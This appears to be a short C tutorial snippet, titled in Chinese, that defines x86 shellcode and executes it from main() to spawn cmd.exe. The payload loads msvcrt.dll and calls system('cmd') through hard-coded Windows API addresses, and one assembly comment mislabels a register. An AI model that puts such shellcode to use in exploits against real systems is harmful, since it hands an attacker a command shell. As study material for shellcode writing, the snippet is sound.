打开cmd的ShellCode

unsigned char usShellCode[] =
 "\x55"                   //push ebp
 "\x8B\xEC"               //mov ebp, esp
 "\x33\xC0"               //xor eax, eax
 "\x50"                   //push eax
 "\x50"                   //push eax
 "\x50"                   //push eax
 "\xC6\x45\xF5\x6D"       //mov byte ptr[ebp-0Bh], 6Dh
 "\xC6\x45\xF6\x73"       //mov byte ptr[ebp-0Ah], 73h
 "\xC6\x45\xF7\x76"       //mov byte ptr[ebp-09h], 76h
 "\xC6\x45\xF8\x63"       //mov byte ptr[ebp-08h], 63h
 "\xC6\x45\xF9\x72"       //mov byte ptr[ebp-07h], 72h
 "\xC6\x45\xFA\x74"       //mov byte ptr[ebp-06h], 74h
 "\xC6\x45\xFB\x2E"       //mov byte ptr[ebp-05h], 2Eh
 "\xC6\x45\xFC\x64"       //mov byte ptr[ebp-04h], 64h
 "\xC6\x45\xFD\x6C"       //mov byte ptr[ebp-03h], 6Ch
 "\xC6\x45\xFE\x6C"       //mov byte ptr[ebp-02h], 6Ch
 "\x8D\x45\xF5"           //lea eax, [ebp-0Bh]
 "\x50"                   //push eax
 "\xBA\x7B\x1D\x80\x7C"   //mov edx, 0x7C801D7Bh
 "\xFF\xD2"               //call edx
 "\x83\xC4\x0C"           //add esp, 0Ch

 "\x8B\xEC"               //mov ebp, esp
 "\x33\xC0"               //xor eax, eax
 "\x50"                   //push eax
 "\x50"                   //push eax
 "\x50"                   //push eax
 "\xC6\x45\xFC\x63"       //mov byte ptr[ebp-04h], 63h
 "\xC6\x45\xFD\x6D"       //mov byte ptr[ebp-03h], 6Dh
 "\xC6\x45\xFE\x64"       //mov byte ptr[ebp-02h], 64h
 "\x8D\x45\xFC"           //lea eax, [ebp-04h]
 "\x50"                   //push eax
 "\xB8\xC7\x93\xBF\x77"   //mov edx, 0x77BF93C7h
 "\xFF\xD0"               //call edx
 "\x83\xC4\x10"           //add esp, 10h
 "\x5D"                   //pop ebp      
 "\x6A\x00"               //push 0
 "\xB8\x12\xCB\x81\x7C"   //mov eax, 0x7c81cb12
 "\xFF\xD0";              //call eax

 

int main()
{
    ((void(*)(void))&usShellCode)();

 

    /*__asm
    {
        lea eax, usShellCode
        push eax
        ret
    }*/

 

    return 0;
}